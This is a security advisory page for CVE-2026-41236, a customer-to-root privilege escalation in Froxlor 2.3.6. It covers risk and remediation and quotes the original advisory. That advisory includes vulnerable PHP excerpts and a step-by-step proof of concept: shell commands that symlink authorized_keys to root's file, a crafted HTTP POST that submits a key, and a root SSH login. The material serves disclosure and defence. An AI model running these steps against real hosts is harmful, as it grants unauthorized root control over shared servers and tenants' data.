CVE-2026-41236: Froxlor: symlink-following grants customer root SSH access

GHSA-mq5v-pxpm-8jw2 HIGH
Published May 29, 2026
CISO Take

Froxlor 2.3.6 allows any shell-enabled hosting customer to replace their ~/.ssh/authorized_keys with a symlink to /root/.ssh/authorized_keys; the next run of the root-owned SSH key synchronization cron blindly appends the attacker-supplied public key into root's authorized_keys file, resulting in full root SSH access with no further interaction required. For organizations hosting AI/ML workloads on Froxlor-managed infrastructure, this is a complete host compromise — an attacker gains unrestricted access to model weights, training datasets, inference API keys, and all co-hosted tenant data. With 469 downstream dependents, 10 prior CVEs in the same package, and a working PoC embedded in the advisory, exploitation is trivially reproducible by any tenant with shell access. Patch to Froxlor 2.3.7 immediately; if patching is blocked, set shell_allowed=0 for all untrusted customer accounts and audit home directories for symlinks via `find /home -maxdepth 3 -name authorized_keys -type l`.

Sources: NVD GitHub Advisory ATLAS OpenSSF

What is the risk?

High risk. CVSS 8.8 with network-accessible, low-complexity exploitation requiring only a low-privilege authenticated account — the attack is effectively zero-effort once a shell-enabled customer account is obtained. Blast radius is total host compromise: an attacker with root SSH access can read all customer data, install persistent backdoors, tamper with AI model artifacts, exfiltrate secrets, and pivot laterally to connected GPU infrastructure or databases. The 10 prior CVEs in froxlor/froxlor and its OpenSSF Scorecard of 7.1/10 suggest a pattern of inadequate security review in privileged code paths. Multi-tenant hosting environments where AI SaaS workloads share infrastructure with untrusted customers carry the highest exposure.

Attack Kill Chain

Initial Access
Attacker obtains a shell-enabled Froxlor customer account (shell_allowed=1) on the target hosting server, either by purchasing legitimate access or compromising an existing tenant account.
AML.T0012
Symlink Preparation
Attacker uses their shell session to atomically replace ~/.ssh/authorized_keys with a symbolic link pointing to /root/.ssh/authorized_keys, pre-positioning the exploitation primitive before the privileged cron fires.
AML.T0049
Privilege Escalation via Cron
Attacker submits a crafted SSH public key through the Froxlor panel, queuing a REBUILD_NSSUSERS task; the root-owned cron follows the symlink and appends the attacker's key to /root/.ssh/authorized_keys.
AML.T0106
Full Host Compromise
Attacker authenticates as root via SSH using the planted key, gaining unrestricted access to all AI model artifacts, training data, API credentials, and co-tenant resources on the compromised host.
AML.T0025

What systems are affected?

Package Ecosystem Vulnerable Range Patched
froxlor/froxlor composer = 2.3.6 2.3.7
5.7K OpenSSF 7.1 469 dependents Pushed 7d ago 91% patched ~0d to patch Full package profile →

Do you use froxlor/froxlor? You're affected.

Severity & Risk

CVSS 3.1
8.8 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

Attack Surface

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI None
S Unchanged
C High
I High
A High

What should I do?

6 steps
  1. Patch: Upgrade froxlor/froxlor to version 2.3.7 — this is the only definitive remediation.

  2. Immediate workaround: Disable shell access (shell_allowed=0) for all untrusted customer accounts via the Froxlor admin panel before patching.

  3. Detection — audit for exploitation: run find /home -maxdepth 3 -name authorized_keys -type l as root to identify symlinked authorized_keys files across customer home directories.

  4. Verify root's authorized_keys for unauthorized entries: cat /root/.ssh/authorized_keys and compare against known-good baseline.

  5. Review cron execution logs for recent REBUILD_NSSUSERS task runs that may have already triggered the vulnerable path.

  6. Add host-based IDS rule alerting on symlink creation inside customer home directories as an ongoing detective control.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Art. 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.6.1.2 - Information security risk assessment
NIST AI RMF
MANAGE 2.2 - Mechanisms to identify and manage AI risks
OWASP LLM Top 10
LLM03 - Supply Chain

Frequently Asked Questions

What is CVE-2026-41236?

Froxlor 2.3.6 allows any shell-enabled hosting customer to replace their ~/.ssh/authorized_keys with a symlink to /root/.ssh/authorized_keys; the next run of the root-owned SSH key synchronization cron blindly appends the attacker-supplied public key into root's authorized_keys file, resulting in full root SSH access with no further interaction required. For organizations hosting AI/ML workloads on Froxlor-managed infrastructure, this is a complete host compromise — an attacker gains unrestricted access to model weights, training datasets, inference API keys, and all co-hosted tenant data. With 469 downstream dependents, 10 prior CVEs in the same package, and a working PoC embedded in the advisory, exploitation is trivially reproducible by any tenant with shell access. Patch to Froxlor 2.3.7 immediately; if patching is blocked, set shell_allowed=0 for all untrusted customer accounts and audit home directories for symlinks via `find /home -maxdepth 3 -name authorized_keys -type l`.

Is CVE-2026-41236 actively exploited?

No confirmed active exploitation of CVE-2026-41236 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-41236?

1. Patch: Upgrade froxlor/froxlor to version 2.3.7 — this is the only definitive remediation. 2. Immediate workaround: Disable shell access (shell_allowed=0) for all untrusted customer accounts via the Froxlor admin panel before patching. 3. Detection — audit for exploitation: run `find /home -maxdepth 3 -name authorized_keys -type l` as root to identify symlinked authorized_keys files across customer home directories. 4. Verify root's authorized_keys for unauthorized entries: `cat /root/.ssh/authorized_keys` and compare against known-good baseline. 5. Review cron execution logs for recent REBUILD_NSSUSERS task runs that may have already triggered the vulnerable path. 6. Add host-based IDS rule alerting on symlink creation inside customer home directories as an ongoing detective control.

What systems are affected by CVE-2026-41236?

This vulnerability affects the following AI/ML architecture patterns: AI application hosting environments, Multi-tenant ML model serving infrastructure, Shared GPU compute clusters, AI SaaS backend hosting.

What is the CVSS score for CVE-2026-41236?

CVE-2026-41236 has a CVSS v3.1 base score of 8.8 (HIGH).

AI Security Impact

Affected AI Architectures

AI application hosting environmentsMulti-tenant ML model serving infrastructureShared GPU compute clustersAI SaaS backend hosting

MITRE ATLAS Techniques

AML.T0012 Valid Accounts
AML.T0025 Exfiltration via Cyber Means
AML.T0049 Exploit Public-Facing Application
AML.T0106 Exploitation for Credential Access

Compliance Controls Affected

EU AI Act: Art. 15
ISO 42001: A.6.1.2
NIST AI RMF: MANAGE 2.2
OWASP LLM Top 10: LLM03

Technical Details

Original Advisory

### Summary Froxlor 2.3.6 contains a symlink-following flaw in the root-owned SSH key synchronization path used for customer FTP users. The provisioning code appends public keys to `~/.ssh/authorized_keys` under a customer-controlled home directory without verifying that the target path is not a symbolic link. If an attacker controls a shell-enabled customer account and can modify files inside the assigned home directory, the attacker can replace `~/.ssh/authorized_keys` with a symlink to `/root/.ssh/authorized_keys`. When Froxlor's privileged cron task later synchronizes SSH keys, it appends the attacker-supplied key into root's authorized key file, resulting in root SSH access. ### Details The customer-facing SSH key workflow accepts an FTP user selection and an arbitrary public key from the authenticated session and forwards them into `SshKeys::add()`: ```php // customer_ftp.php:251-253 if ($action == 'add' && Request::post('send') == 'send') { $result = $log->logAction(USR_ACTION, LOG_INFO, "added SSH-key"); Commands::get()->apiCall('SshKeys.add', Request::postAll()); } ``` On the server side, the add handler stores the public key and schedules an NSS rebuild as long as the customer has shell capability enabled at the customer level: ```php // lib/Froxlor/Api/Commands/SshKeys.php:67-70,120-145 if ($this->getUserDetail('shell_allowed') != '1') { throw new Exception("You cannot add SSH keys because shell access is disabled for your account."); } $ins_stmt = Database::prepare(" INSERT INTO `" . TABLE_PANEL_CUSTOMERS_SSH ."`. "); Settings::AddTask('rebuildnssusers'); ``` Later, a root-owned cron path enters `SshKeys::generateFiles()` and derives the target path by simple string concatenation: ```php // lib/Froxlor/Cron/System/SshKeys.php:52-64 $sshdir = FileDir::makeCorrectDir($userinfo['homedir'] . '/.ssh'); $authkeysfile = FileDir::makeCorrectFile($sshdir . '/authorized_keys'); if (!file_exists($authkeysfile)) { touch($authkeysfile); } ``` The helper used here only normalizes the path string and does not resolve or reject symlinks: ```php // lib/Froxlor/FileDir.php:376-392 public static function makeCorrectFile(string $file): string { $file = str_replace('//', '/', $file); $file = str_replace('\\', '', $file); return $file; } ``` The root-owned sync code then appends attacker-controlled SSH key material to the derived path: ```php // lib/Froxlor/Cron/System/SshKeys.php:94-103 file_put_contents($authkeysfile, $userinfo['ssh-rsa'] . "\n", FILE_APPEND | LOCK_EX); chown($authkeysfile, $userinfo['uid']); chgrp($authkeysfile, $userinfo['gid']); ``` Because Froxlor also grants the customer ownership of the home directory tree during account provisioning, the attacker can place a symbolic link at `~/.ssh/authorized_keys` before the privileged synchronization step runs. ### PoC An attacker needs an authenticated customer account with shell-enabled home-directory control. That prerequisite may exist by normal configuration, or it may be obtained first through the separate FTP shell-assignment authorization bypass described in the companion report. Relevant runtime prerequisites: - the attacker controls a customer-owned home directory on the target host - the attacking customer has `shell_allowed=1` - the attacker can submit SSH keys through the Froxlor panel - Froxlor's master cron runs with the intended root privileges Complete PoC flow: 1. Obtain shell access as the customer-owned account and prepare a symlink in the home directory: ```bash mkdir -p ~/.ssh rm -f ~/.ssh/authorized_keys ln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys ``` 2. From an authenticated Froxlor customer session, submit a new SSH public key for the relevant FTP user: ```http POST /customer_ftp.php?page=sshkeys&action=add HTTP/1.1 Host: target.example Content-Type: application/x-www-form-urlencoded Cookie: <authenticated customer session> csrf_token=VALID_CSRF_TOKEN& send=send& description=poc& ftpuser=17& ssh_pubkey=ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB attacker@host ``` 3. Wait for Froxlor's master cron to process the queued `REBUILD_NSSUSERS` task. 4. Use the corresponding private key to authenticate as root: ```bash ssh -i id_ed25519 root@target.example ``` Result: - the root-owned cron task follows the symlinked `authorized_keys` path - the submitted public key is appended to `/root/.ssh/authorized_keys` - SSH access as `root` succeeds with the attacker's key pair ### Impact This is a direct customer-to-root privilege escalation on the managed host. A successful attacker can obtain full operating-system control, read or modify all hosted customer data, persist at the highest privilege level, and tamper with every service administered by the server.

Exploitation Scenario

An adversary purchases or compromises a shell-enabled customer account on a Froxlor-managed hosting provider that runs AI workloads for multiple tenants. Using their legitimate shell access they execute `mkdir -p ~/.ssh && rm -f ~/.ssh/authorized_keys && ln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys`. They then authenticate to the Froxlor customer panel and submit an attacker-controlled SSH public key for their FTP user — a completely normal, permitted action. Froxlor queues a REBUILD_NSSUSERS cron task. Within the next cron interval, the root-owned synchronization daemon calls `file_put_contents()` on what it computes as the customer's authorized_keys path, which is actually a symlink to /root/.ssh/authorized_keys. The attacker's key is appended. The attacker then SSHes as root, gaining full control of all hosted AI models, training data, inference secrets, and every co-tenant's data on the same physical host.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Timeline

Published
May 29, 2026
Last Modified
May 29, 2026
First Seen
May 29, 2026

Related Vulnerabilities